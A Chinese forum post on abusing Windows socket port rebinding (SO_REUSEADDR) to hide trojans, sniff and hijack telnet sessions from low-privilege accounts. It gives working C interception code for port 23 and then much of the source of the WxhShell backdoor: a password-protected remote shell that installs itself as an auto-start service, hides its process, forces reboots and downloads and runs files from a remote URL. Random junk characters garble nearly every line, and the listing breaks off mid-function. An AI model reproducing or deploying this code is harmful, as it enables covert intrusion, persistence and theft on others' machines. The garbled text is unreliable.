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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: R*yU<9Mm8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I_?He'=0oU  
>dk 9f}7-  
  saddr.sin_family = AF_INET; %w7m\nw@  
-u|l}}bh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -l "U"U"F  
0O~p7D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M/{g(|{  
:M j_2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kM!V .e[g  
?>V6P_r>  
  这意味着什么?意味着可以进行如下的攻击: B;!f<"a8  
=OYQM<q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o 7G> y#Y  
f jI#-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cOkgoL" 4  
H?uukmZl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4 \p -TPM  
'"'Btxz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H] k'?;  
.Pw%DZ'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -4flV D  
;xK_qBIP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /)9W1U^B  
!8*McO I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'L{p,  
gDCOLDM  
  #include "}b'E#  
  #include m_* R.a  
  #include .#fPw_i  
  #include    MdC<4^|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K;U39ofW  
  int main() kX[fy7rVt  
  { wGJjA=C  
  WORD wVersionRequested; knT.l"  
  DWORD ret; m&IsDAn  
  WSADATA wsaData; ]` ]g@v  
  BOOL val; =Ikg.jYq&F  
  SOCKADDR_IN saddr; frN3S  
  SOCKADDR_IN scaddr; Km3&N  
  int err; NP/>H9Q2%  
  SOCKET s; s /%:dnij  
  SOCKET sc; n|i"S`  
  int caddsize; Sdd9Dv?!  
  HANDLE mt; 3]U]?h  
  DWORD tid;   !gH 9ay  
  wVersionRequested = MAKEWORD( 2, 2 ); ~O;y?]U  
  err = WSAStartup( wVersionRequested, &wsaData ); hazq#J!  
  if ( err != 0 ) { @(:v_l  
  printf("error!WSAStartup failed!\n"); hVP IHQt  
  return -1; alm- r-Kb3  
  } 8$vK5Dnn8  
  saddr.sin_family = AF_INET; `qiQ$kz  
   E=u/tpj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &Y7C0v  
KWhZ +i`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); - 8bNQU  
  saddr.sin_port = htons(23); H"CUZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6;oe=Q:Q  
  { ;GsQR+en  
  printf("error!socket failed!\n"); A+ 0,i  
  return -1; E'c%d[:H,  
  } c8A`<-\MfB  
  val = TRUE; [B^G-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Lw*]EG|?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4 tXSYHd3  
  { 0JY WrPR  
  printf("error!setsockopt failed!\n"); 0{) $SY  
  return -1; EO)%UrWnC  
  } +.Bmkim  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; iOqk*EL_r\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7Kf}O6nE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (~s|=Hxq|-  
LJQ J\bT?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "0&N}  
  { G'x .NL  
  ret=GetLastError(); E \{<;S  
  printf("error!bind failed!\n"); S>Z|) I  
  return -1; pOga6'aB)  
  } >UHa  
  listen(s,2); #S5`Pd!I  
  while(1) -<N&0F4|*  
  { K`k'}(vj  
  caddsize = sizeof(scaddr); /_\W+^fE  
  //接受连接请求 4MW ]EQ-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); j@1)K3Hga  
  if(sc!=INVALID_SOCKET) fgF;&(b  
  { \cuS>G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x<B'.3y  
  if(mt==NULL) Yrn"saVc,  
  { Jx|I6 y  
  printf("Thread Creat Failed!\n"); uDayBaR  
  break; ^O6* e]C$  
  } !/I0i8T  
  } RT*5d;l0  
  CloseHandle(mt); >V;,#5F_  
  } qv+R:YYOq  
  closesocket(s); {CUk1+  
  WSACleanup(); l1+[  
  return 0; $.K?N@(W  
  }   Cg!^S(U4  
  DWORD WINAPI ClientThread(LPVOID lpParam) or_+2aG  
  { <@, $hso7:  
  SOCKET ss = (SOCKET)lpParam; HGDV O Jq  
  SOCKET sc; P $ >`  
  unsigned char buf[4096]; ?tYpc_p#  
  SOCKADDR_IN saddr; UAYd?r  
  long num; :w-`PY J%G  
  DWORD val; Jb(Y,LO^  
  DWORD ret; 5/I_w0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 WDx Mo`zT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >nn Y:7m  
  saddr.sin_family = AF_INET; KMjg;! y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Xm_$ dZ  
  saddr.sin_port = htons(23); smU4jh9S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G'#41>q+  
  { g9mG`f  
  printf("error!socket failed!\n"); Hs?zq  
  return -1; F^kwdS  
  } G<qIY&D'  
  val = 100;  6sxz_f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h##WA=1QZ  
  { U/w.M_S  
  ret = GetLastError(); -{g~TUz  
  return -1; <GIwRVCU  
  } ``QHG&$ /  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 83iCL;GS=  
  { 0SV\{]2  
  ret = GetLastError(); `  2%6V)s  
  return -1; ,x_Z JL  
  } JW+*d`8Z[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (> "QVxr  
  { rVryt<2:@r  
  printf("error!socket connect failed!\n"); ZX.TqvK/r  
  closesocket(sc); {aj/HFLNY  
  closesocket(ss); %c/^_.  
  return -1; %:u[MBe,  
  } )]Ti>RO7  
  while(1) s#-eN)1R  
  { HW_& !ye  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R>)MiHcCg  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3 <SqoJSp  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H{`{)mS  
  num = recv(ss,buf,4096,0); KL3<Iz]  
  if(num>0) ]]uHM}l  
  send(sc,buf,num,0); l";'6;g  
  else if(num==0) lZ+!H=`  
  break;  <!'M} s  
  num = recv(sc,buf,4096,0); x:z0EYL  
  if(num>0) >bm|%Ou"  
  send(ss,buf,num,0);  Ewo~9 4{  
  else if(num==0) 1]OSWCEm*[  
  break; UuJjO^t  
  } *^XbDg9  
  closesocket(ss); -|_ir-j  
  closesocket(sc); DJ;g|b  
  return 0 ; WS0JS'  
  } T] | d 5E  
+]!lS7nsW  
jX */piSq  
========================================================== /oP^'""@je  
J)x3\[}Ye  
下边附上一个代码,,WXhSHELL c{3rl;Cs  
s: |M].  
========================================================== JdNF-64ky  
bI ITPxz  
#include "stdafx.h" _ Jc2&(;  
_a'A~JY  
#include <stdio.h> hU {-a`  
#include <string.h> ;5S}~+j  
#include <windows.h> \C|cp|A*&  
#include <winsock2.h> lpC @I^:  
#include <winsvc.h> +1`t}hO  
#include <urlmon.h> vv5i? F  
=!.m GW-Q}  
#pragma comment (lib, "Ws2_32.lib") : d' 5O8  
#pragma comment (lib, "urlmon.lib") gRgog*z  
Px;Cg 6  
#define MAX_USER   100 // 最大客户端连接数 ; st\I  
#define BUF_SOCK   200 // sock buffer u?0d[mC  
#define KEY_BUFF   255 // 输入 buffer ]> G&jd7  
$RO$}!  
#define REBOOT     0   // 重启 trYTs,KV  
#define SHUTDOWN   1   // 关机 o'= VZT9  
_6LoVS  
#define DEF_PORT   5000 // 监听端口 -T_\f?V88  
~brFo2  
#define REG_LEN     16   // 注册表键长度 pB01J<@m  
#define SVC_LEN     80   // NT服务名长度 +"!aM?o  
[_!O<z_sB  
// 从dll定义API E`D%PEps+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }C#3O{5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oyeG$mpg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YD_]!HK}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AFm1t2,+;  
< oI8-f  
// wxhshell配置信息 AXW!]=?X  
struct WSCFG { nWgv~{,x  
  int ws_port;         // 监听端口  Y7Gs7  
  char ws_passstr[REG_LEN]; // 口令 NGTe4Crx  
  int ws_autoins;       // 安装标记, 1=yes 0=no XD%wj  
  char ws_regname[REG_LEN]; // 注册表键名 46XN3r  
  char ws_svcname[REG_LEN]; // 服务名 Z85|I.mr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 La,QB3K/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <y=ovkM3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?d-70pm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JLm @Ag  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "4 k-dj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?]!vRmZ;  
> <Z'D  
}; %xlpB75N4N  
.9M.|  
// default Wxhshell configuration U[8{_h<#  
struct WSCFG wscfg={DEF_PORT, fE25(wCz7  
    "xuhuanlingzhe", Yp5L+~J[  
    1, =3'(A14C=  
    "Wxhshell", kX;$}7n  
    "Wxhshell", uP|FJLY  
            "WxhShell Service", SkP[|g'56  
    "Wrsky Windows CmdShell Service", |f' 8p8J  
    "Please Input Your Password: ", sdr.u  
  1, r6Nm!Bq7  
  "http://www.wrsky.com/wxhshell.exe", 2$0)?ZC?=  
  "Wxhshell.exe" }Ik1bkK  
    }; `wO}Hz  
7 .+al)hl  
// 消息定义模块 nX[;^v/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZK dh%8C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kC$I2[t!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O|z%DkH[  
char *msg_ws_ext="\n\rExit."; |C-y}iQ:6~  
char *msg_ws_end="\n\rQuit."; u-><}OVf~  
char *msg_ws_boot="\n\rReboot..."; TOT PzB  
char *msg_ws_poff="\n\rShutdown..."; S/Oxr%H  
char *msg_ws_down="\n\rSave to "; oXGZK5w<l  
2Rptxb_@  
char *msg_ws_err="\n\rErr!"; MCy~@)-IN  
char *msg_ws_ok="\n\rOK!"; 4rp6 C/i  
]VjLKFb~U  
char ExeFile[MAX_PATH]; U^$E'Q-VK  
int nUser = 0; gGfq6{9g  
HANDLE handles[MAX_USER]; =/Juh7[C  
int OsIsNt; uqZ3Hyb  
"tR}j,=S:D  
SERVICE_STATUS       serviceStatus; +/N1_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {;n0/   
DY3:#X`4  
// 函数声明 <GfVMD  
int Install(void); 0dt"ZSm  
int Uninstall(void); >oY^Gx  
int DownloadFile(char *sURL, SOCKET wsh); dR[o|r  
int Boot(int flag); ^k72{ 3N(  
void HideProc(void); "c Pz|~  
int GetOsVer(void); QJXdb]Y^;  
int Wxhshell(SOCKET wsl); 8/q*o>[?  
void TalkWithClient(void *cs); Pj!%ym3A  
int CmdShell(SOCKET sock); !S,pRS+  
int StartFromService(void); Z_itu73I  
int StartWxhshell(LPSTR lpCmdLine); fVUKvZ}P*  
L@A9{,9Pl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MSYN1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $u5.!{Wq?  
,nYZxYLf+  
// 数据结构和表定义 cU | _  
SERVICE_TABLE_ENTRY DispatchTable[] = ? ( 12aU  
{ 5 ,ZRP'oI  
{wscfg.ws_svcname, NTServiceMain}, g :i*O^c @  
{NULL, NULL} Qj!d^8  
}; 3o0IjZ=[>  
AM/lbMr  
// 自我安装 FsY`nWwg  
int Install(void)  -$R5  
{ P"Rk?lL  
  char svExeFile[MAX_PATH]; /v$]X4 S`  
  HKEY key; vKkf2 7  
  strcpy(svExeFile,ExeFile); :?#cDyW)  
0O; Z  
// 如果是win9x系统,修改注册表设为自启动 `7_n}8NVC  
if(!OsIsNt) { sT1j F3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "m>};.lj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bZ1 0v;  
  RegCloseKey(key); rC rr"O#j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5f3!NeI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *a4 b  
  RegCloseKey(key); :SeLkQC  
  return 0; Y_lCcu#OA  
    } Wa/geQE1<  
  } mxhW|}_-j  
} 0 r3N^_}  
else { 8;.` {'r  
/Mx CvEE  
// 如果是NT以上系统,安装为系统服务 h@Dw'w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W_D%|Ub2X  
if (schSCManager!=0) Is kSX  
{ b,vL8*  
  SC_HANDLE schService = CreateService buc*rtHfA  
  ( |wJ),h8/  
  schSCManager, i ~P91  
  wscfg.ws_svcname, 1eF@_Y^a!  
  wscfg.ws_svcdisp, ,whM22Af~{  
  SERVICE_ALL_ACCESS, U]mO7HK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #VR`?n?,  
  SERVICE_AUTO_START, ]E..43  
  SERVICE_ERROR_NORMAL, ~,+[M-  
  svExeFile, 't ;/,+:V  
  NULL, 1Kc{#+a^  
  NULL, U%Ol^xl  
  NULL, !g/_ w  
  NULL, T-!|l7V~f  
  NULL pfNThMf  
  ); 1W7 iip,  
  if (schService!=0) 6(sfpK'  
  { ugRV5bUk  
  CloseServiceHandle(schService); KZ @l/s  
  CloseServiceHandle(schSCManager); nu(eLUU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K1 6s)S'  
  strcat(svExeFile,wscfg.ws_svcname); EK.c+Or,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r 3?5'S`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ; ?j~8  
  RegCloseKey(key); ;pCG9  
  return 0; fl!1AKSn@N  
    } :.C)7( 8S  
  } YFAnlqC  
  CloseServiceHandle(schSCManager); 0= gF6U  
} ua!D-0  
} Q.uR<C6)v  
#Z#_!o  
return 1; ?({PcF/  
} B1HQz@^  
uk1v7# p  
// 自我卸载 " gwm23Rpj  
int Uninstall(void) W>VAbm  
{ 0L 7@2|a0  
  HKEY key; t2m  ^  
s+Cl  
if(!OsIsNt) { ?WMi S]Q\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _4!7 zW^  
  RegDeleteValue(key,wscfg.ws_regname); B0NN>)h  
  RegCloseKey(key); #SK#k<&P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U8U/?zW/&  
  RegDeleteValue(key,wscfg.ws_regname); E^'C "6  
  RegCloseKey(key); R|6RI}  
  return 0; i"ck`6v"8  
  } >^sz5d+X  
} aB7d(  
} XC 57];-  
else { pC55Ec<  
M55e=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %y!   
if (schSCManager!=0) 'aLPTVM^  
{ lu<Np9/5<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {8ld:ZP  
  if (schService!=0) 1Qrm"TFo  
  { H@Kl  
  if(DeleteService(schService)!=0) { zvWO4\  
  CloseServiceHandle(schService); zS,%msT^A  
  CloseServiceHandle(schSCManager); 44g`=o@  
  return 0; ^?81.b|qb  
  } \E>%W  
  CloseServiceHandle(schService); Fwg#d[:u  
  } mw2rSUI{  
  CloseServiceHandle(schSCManager); =kyJaT^5[  
} O[3q9*(  
} (mu{~@Hw  
2M!+gk=+  
return 1; I67k M{V  
} zDKLo 3:  
)^V5*#69D  
// 从指定url下载文件 VGkW3Nt0  
int DownloadFile(char *sURL, SOCKET wsh) Xd90n>4S  
{ l;"ub^AH  
  HRESULT hr; pIM*c6  
char seps[]= "/"; 6C@0[Q\ER  
char *token; 8HHgN`_  
char *file; ksxO<Y  
char myURL[MAX_PATH]; 'Hcd&3a  
char myFILE[MAX_PATH]; H@ 1[SKBl  
kG_&-b  
strcpy(myURL,sURL); e2,<,~_K6  
  token=strtok(myURL,seps); \emT:Frb  
  while(token!=NULL) ;D %5 nnr  
  { oxxE'cx{g  
    file=token; :*^(OnIe  
  token=strtok(NULL,seps); i2`.#YJ&v  
  } )dUd`g  
;+aDjO2(  
GetCurrentDirectory(MAX_PATH,myFILE); \xa36~hh40  
strcat(myFILE, "\\"); ,.1&Ff)S  
strcat(myFILE, file); YA1{-7'Q  
  send(wsh,myFILE,strlen(myFILE),0); ]JhDRJ\  
send(wsh,"...",3,0); 7%~VOB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B h.6:9{  
  if(hr==S_OK) '_Hb}'sFI  
return 0; 64IeCAMVo  
else %-0em!tUV  
return 1; Q_UCF'f;}  
x);?jxd  
} 61t-  
b[QCM/  
// 系统电源模块 u0(hVK`":  
int Boot(int flag) Q>#)LHX  
{ Yg]FF`{p=  
  HANDLE hToken; ;$k ?&nhY  
  TOKEN_PRIVILEGES tkp; HfZ (U5~  
J~nJpUyP*  
  if(OsIsNt) { $! fz~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AVdd?Ew  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r5X BcG(2  
    tkp.PrivilegeCount = 1; #I*ht0++  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7csl1|U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /3"e3{u y  
if(flag==REBOOT) { oIu,rjb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o i,g  
  return 0; & Q|f*T  
} 4)c"@Zf  
else { 0t/z "  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #o}{cXX#  
  return 0; ,<Do ^HB/  
} UJyiRP:#]>  
  } l[!C-Tq  
  else { JsoWaD  
if(flag==REBOOT) { &p(*i@Ms  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BLYk <m  
  return 0; $`+~QR!h  
} LRLhS<9  
else { 1)c=15^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &_Xv:?  
  return 0; B@~eBU,$  
} R}K5'`[%ZY  
} p-i]l.mT5  
J6?_?XzToT  
return 1; 1 _:1/~R1  
} #,|_d>p:  
_sD]Viqc  
// win9x进程隐藏模块 HS|g   
void HideProc(void) 75BOiX  
{ Fr Q-v]c  
D9pxe qf+=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DIcyXZH<  
  if ( hKernel != NULL ) *U[Q=w  
  { p|O-I&Xd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !h~#L"z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SBB bniK-  
    FreeLibrary(hKernel); 2l}Fg D  
  } 3dzqV aV  
/ hj9Q!  
return; KE|u}M@v6  
} Z+pvdu  
JKu6+V jO  
// 获取操作系统版本 9zGKQ|X)  
int GetOsVer(void) )]e d;V  
{ QIxJFr;>  
  OSVERSIONINFO winfo; ]t!}D6p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '-1jWw:8  
  GetVersionEx(&winfo); &4$43\(D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (? #U&  
  return 1; Ok.DSOT  
  else 9.w3VF_C  
  return 0; i|! 9o:  
} sMe~C>RD  
 "%@=?X8  
// 客户端句柄模块 GlkAJe]  
int Wxhshell(SOCKET wsl) pU)3*9?cIl  
{ !j\&BAxTEk  
  SOCKET wsh; QH? 2v  
  struct sockaddr_in client; eRWF7`HH+  
  DWORD myID; W*WH .1&  
->#@rF:S  
  while(nUser<MAX_USER) UOL%tT  
{ yl;$#aZB  
  int nSize=sizeof(client); mjr{L{H=?+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vm%ux>}  
  if(wsh==INVALID_SOCKET) return 1; kjYO0!C  
 ! 6i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fw~%^*  
if(handles[nUser]==0) [T?6~^m=  
  closesocket(wsh); 6"c!tJc7j  
else M97p.;;  
  nUser++; wP *a>a  
  } FYE9&{]h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *V<2\-  
6'lT`E|  
  return 0; [q|Q]O0  
} LRlk9:QD>  
^V;lZtZ  
// 关闭 socket Ognq*[om  
void CloseIt(SOCKET wsh) q8yJW-GA   
{ ,% DAh  
closesocket(wsh); x6cl(J}  
nUser--; \(7#N<-  
ExitThread(0); g&(~MD2{  
} ]KPg=@Q/  
KVe'2Q<  
// 客户端请求句柄 hI#M {cz  
void TalkWithClient(void *cs) 5^qp&  
{ ^ cd5Zl  
\\pyu]z  
  SOCKET wsh=(SOCKET)cs; (Y@|h%1W  
  char pwd[SVC_LEN]; MM)/B>cQt  
  char cmd[KEY_BUFF]; Ku,A}5-6  
char chr[1]; N`GwL aF  
int i,j; &=t(NI$  
s*U&[7P  
  while (nUser < MAX_USER) { ?fX8WRdh  
rVW'KN  
if(wscfg.ws_passstr) { |4*2xDcl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v7I*W/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UDqKF85H  
  //ZeroMemory(pwd,KEY_BUFF); iKTU28x  
      i=0; _=$!T;}lE  
  while(i<SVC_LEN) { 4Tw1gas.  
T%#P??k  
  // 设置超时 V<I${i$]0  
  fd_set FdRead; L |G k}n  
  struct timeval TimeOut; ;,hoX6D$  
  FD_ZERO(&FdRead); tg`!svL!  
  FD_SET(wsh,&FdRead); }K]VlFR  
  TimeOut.tv_sec=8; i'LTKj  
  TimeOut.tv_usec=0; *bC^X'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }^bL'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3 AF]en  
/XK`v=~(l{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w!k4&Rb3  
  pwd=chr[0]; J0 z0%p   
  if(chr[0]==0xd || chr[0]==0xa) { ">^]^wa08  
  pwd=0; S#z8H+'  
  break; 2gI_*fG1  
  } C+IE<=%F  
  i++; cr;`0  
    } j`pR;XL1[  
i*E`<9  
  // 如果是非法用户,关闭 socket ee?ZkU#@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %*; 8m'  
} c|a|z}(/J  
hWe}(Ks  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L#N.pd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KPcuGJ  
r6_a%A*  
while(1) { =_:L wmI  
6M|%nBN$|  
  ZeroMemory(cmd,KEY_BUFF); (:muxby%  
tB?S0;yXjd  
      // 自动支持客户端 telnet标准   :QSW^x  
  j=0; uzA'D~)P  
  while(j<KEY_BUFF) { @z RB4d$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *F&&rsb  
  cmd[j]=chr[0]; +Y[+2=lO  
  if(chr[0]==0xa || chr[0]==0xd) { 0'}?3/u-  
  cmd[j]=0; E%:zE Q  
  break; NX",e=  
  } !\ukb  
  j++; 6-YR'ikU  
    } Wm&f+{LO+K  
+# >%bq x  
  // 下载文件 AWNd(B2o  
  if(strstr(cmd,"http://")) { G{Q'N04RA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;MI<J>s  
  if(DownloadFile(cmd,wsh)) PTZ1 oD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o/ 5 Fg>d  
  else ZEJa dR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D/`E!6Fk=  
  } Kn\(Xd.>  
  else { pa73`Ca]  
x)5v8kgf  
    switch(cmd[0]) { 3]'z8i({7Y  
  /RmCMT  
  // 帮助 {G&g+9c&  
  case '?': { ]YzAcB.R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H >{K]7D/y  
    break; ?{IvA:   
  } }d]8fHG  
  // 安装 M.Ik%nN#K0  
  case 'i': { ;^i,Q} b/  
    if(Install()) RV(z>XM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a~"X.xT\R  
    else 0-HE, lv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E e&$9 )t  
    break; O waXG/z~  
    } %%[TM(z  
  // 卸载 o$ k$  
  case 'r': { wQ^a2$Z  
    if(Uninstall()) .).<L`q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xU"qB24]=  
    else  8[OiG9b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2ow\d b  
    break; k~dr;j  
    } 4Pdk?vHK;  
  // 显示 wxhshell 所在路径 (Mh\!rMg  
  case 'p': { #"JU39e  
    char svExeFile[MAX_PATH]; Q[KR,k  
    strcpy(svExeFile,"\n\r"); l$KcS&{w9  
      strcat(svExeFile,ExeFile); +rY0/T_0,  
        send(wsh,svExeFile,strlen(svExeFile),0); 6vA 5;a@  
    break; ;N|>pSzmL  
    } 6iWuBsal  
  // 重启 vm4oaVi  
  case 'b': { i6kyfOI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?Sxnq#r#  
    if(Boot(REBOOT)) 6f>HE'N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `yXy T^  
    else { }VRo:sJb  
    closesocket(wsh); 5i?U-  
    ExitThread(0); 3MVZ*'1QM\  
    } I,;)pWX=@  
    break; )O Cr6UR  
    } t |hmEHUk  
  // 关机 bwFc>{Wo5  
  case 'd': { !Ua#smZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GAlO<Mu  
